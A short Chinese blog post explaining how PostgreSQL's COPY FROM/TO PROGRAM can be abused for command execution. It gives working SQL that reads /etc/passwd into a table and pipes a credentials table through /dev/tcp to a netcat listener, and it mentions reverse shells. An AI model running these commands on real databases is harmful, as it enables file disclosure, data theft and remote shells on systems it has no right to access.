从Postgres9.3开始,copy语句增加了一个PROGRAM语法,用于将查询结果发送至程序,或将程序的输出结果插入表中。
例如,可以通过以下语句,将cat /etc/passwd的执行结果插入result表中:
create table result(content text); copy result from program 'cat /etc/passwd';
结果如图所示:
之后使用常规聚合函数/报错等方式获取结果即可,可以参考这篇文章。
(实际上,bash/py等各种反弹方式也是可以的,但要注意子进程退出前查询语句不会结束,sql连接/注入页面会挂起)
而借助copy to PROGRAM,则可以直接把整个表的数据发送至远程服务器。首先创建测试表:
create table admin(id int,name text,pass text); insert into admin values(1,'a1','p1'),(2,'a2','p2');
之后使用nc监听8888端口接收回显,最后执行查询语句:
copy admin to program 'cat - >> /dev/tcp/127.0.0.1/8888';
即可在监听端获取完整的admin表内容。
和copy from结合可以把回显发送到远程……不过显然还是直接反弹更省心。
最后,PROGRAM语法需要pg_execute_server_program
权限,默认情况下只有postgres用户具备,所以更多时候只能作为一个兼容性更好的UDF来用。
参考链接:https://www.postgresql.org/docs/9.3/sql-copy.html